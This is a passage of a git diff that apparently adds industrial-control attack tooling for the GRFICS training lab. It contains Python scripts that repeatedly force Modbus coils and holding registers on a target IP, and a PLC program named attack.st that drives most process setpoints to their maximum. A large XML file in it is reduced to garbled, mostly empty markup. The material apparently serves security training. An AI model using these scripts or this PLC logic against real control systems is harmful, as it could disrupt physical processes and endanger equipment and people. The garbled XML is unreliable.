= style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 